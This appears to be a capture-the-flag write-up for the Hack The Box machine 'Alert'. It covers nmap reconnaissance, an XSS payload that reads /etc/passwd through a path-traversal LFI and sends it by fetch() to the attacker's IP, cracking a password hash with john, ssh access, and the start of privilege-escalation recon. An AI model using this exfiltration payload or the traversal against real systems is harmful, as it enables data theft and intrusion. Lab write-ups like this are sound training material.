Alert is an easy-difficulty machine from Hack The Box dealing initially with an XSS attack that we’ll leverage to exfiltrate data little by little from the system to discover a hidden endpoint vulnerable to Local File Inclusion (LFI) to get ssh credentials. We’ll finally exploit some misconfigured permissions that’ll allow us to tamper with a PHP app’s file inclusions to land a root shell.
Alert-info-card
Reconnaissance
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
PS C:\Users\0xkujen> nmap -A-Pn10.129.207.21 Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-2213:24 W. Central Africa Standard Time Nmap scan report for alert.htb (10.129.207.21) Host is up (0.12s latency). Not shown: 998 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 30727e:46:2c:46:6e:e6:d1:eb:2d:9d:34:25:e6:36:14:a7 (RSA) | 25645:7b:20:95:ec:17:c5:b4:d8:86:50:81:e0:8c:e8:b8 (ECDSA) |_ 256 cb:92:ad:6b:fc:c8:8e:5e:9f:8c:a2:69:1b:6d:d0:f7 (ED25519) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) | http-title: Alert - Markdown Viewer |_Requested resource was index.php?page=alert |_http-server-header: Apache/2.4.41 (Ubuntu) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in33.47 seconds
We can see that we have our typical ssh 22 port and http 80 port that redirects us to alert.htb which we’ll add to our /etc/hosts.
We get that there is a messages.php page with a file parameter that’s indicating that there might be a Local File Inclusion exploit. Let’s fetch it and test it:
1 2 3 4 5 6 7 8
<script> fetch("http://alert.htb/messages.php?file=../../../../../../../etc/passwd") .then(response => response.text()) // Convert the response to text .then(data => { fetch("http://10.10.16.17/?data=" + encodeURIComponent(data)); }) .catch(error =>console.error("Error fetching the messages:", error)); </script>
┌──(kali㉿kali)-[~] └─$ john -w=/usr/share/wordlists/rockyou.txt hash -format=md5crypt-long Using default input encoding: UTF-8 Loaded 1 password hash (md5crypt-long, crypt(3) $1$ (and variants) [MD5 32/64]) Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status manchesterunited (?) 1g 0:00:00:00 DONE (2024-11-23 22:41) 12.50g/s 35200p/s 35200c/s 35200C/s meagan..medicina Use the "--show" option to display all of the cracked passwords reliably Session completed. ┌──(kali㉿kali)-[~]
Let’s ssh onto the machine and claim our user flag:
PS C:\Users\0xkujen> ssh [email protected] [email protected]'s password: Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-200-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/pro System information as of Sat 22 Mar 2025 12:56:59 PM UTC System load: 0.08 Usage of /: 62.6% of 5.03GB Memory usage: 8% Swap usage: 0% Processes: 238 Users logged in: 0 IPv4 address for eth0: 10.129.207.21 IPv6 address for eth0: dead:beef::250:56ff:fe94:d1e9 Expanded Security Maintenance for Applications is not enabled. 0 updates can be applied immediately. Enable ESM Apps to receive additional future security updates. See https://ubuntu.com/esm or run: sudo pro status The list of available updates is more than a week old. To check for new updates run: sudo apt update Last login: Tue Nov 19 14:19:09 2024 from 10.10.14.23 albert@alert:~$ ls user.txt albert@alert:~$ cat user.txt e26b5e48c55844a0303c88119f554dc5 albert@alert:~$
Privilege Escalation - Broken Permissions in web app
Now listening on the system we can find a suspicious 8080 port that we also check it for any entries in the running processes:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
albert@alert:~$ netstat -anot Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State Timer tcp 0 0 127.0.0.1:8080 0.0.0.0:* LISTEN off (0.00/0/0) tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN off (0.00/0/0) tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN off (0.00/0/0) tcp 0 0 127.0.0.1:52850 127.0.0.1:8080 FIN_WAIT2 timewait (32.44/0/0) tcp 0 0 10.129.207.21:41864 10.10.16.17:4545 ESTABLISHED off (0.00/0/0) tcp 0 216 10.129.207.21:22 10.10.16.17:60320 ESTABLISHED on (0.20/0/0) tcp 0 0 127.0.0.1:47874 127.0.0.1:80 TIME_WAIT timewait (17.13/0/0) tcp 0 1 10.129.207.21:33080 8.8.8.8:53 SYN_SENT on (3.25/2/0) tcp 0 0 127.0.0.1:47878 127.0.0.1:80 TIME_WAIT timewait (17.13/0/0) tcp 1 0 127.0.0.1:8080 127.0.0.1:52850 CLOSE_WAIT off (0.00/0/0) tcp6 0 0 :::80 :::* LISTEN off (0.00/0/0) tcp6 0 0 :::22 :::* LISTEN off (0.00/0/0) albert@alert:~$ ps auxf | grep -i 8080 root 985 0.0 0.6 206768 24688 ? Ss 12:17 0:00 /usr/bin/php -S 127.0.0.1:8080 -t /opt/website-monitor albert 8202 0.0 0.0 6300 720 pts/0 S+ 13:42 0:00 \_ grep --color=auto -i 8080
Let’s forward this port to our local machine to check it (the website opened for me previously but this time the latency was crazy). But either way, we have access to the source code on /opt/website-monitor:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
albert@alert:/opt/website-monitor$ ll total 96 drwxrwxr-x 7 root root 4096 Oct 12 01:07 ./ drwxr-xr-x 4 root root 4096 Oct 12 00:58 ../ drwxrwxr-x 2 root management 4096 Mar 22 13:02 config/ drwxrwxr-x 8 root root 4096 Oct 12 00:58 .git/ drwxrwxr-x 2 root root 4096 Oct 12 00:58 incidents/ -rwxrwxr-x 1 root root 5323 Oct 12 01:00 index.php* -rwxrwxr-x 1 root root 1068 Oct 12 00:58 LICENSE* -rwxrwxr-x 1 root root 1452 Oct 12 01:00 monitor.php* drwxrwxrwx 2 root root 4096 Oct 12 01:07 monitors/ -rwxrwxr-x 1 root root 104 Oct 12 01:07 monitors.json* -rwxrwxr-x 1 root root 40849 Oct 12 00:58 Parsedown.php* -rwxrwxr-x 1 root root 1657 Oct 12 00:58 README.md* -rwxrwxr-x 1 root root 1918 Oct 12 00:58 style.css* drwxrwxr-x 2 root root 4096 Oct 12 00:58 updates/
And we can see that we have access to the config/ folder since we are members of management group.
Checking the index.php of the app, we see that it is including the conf file from config/ folder:
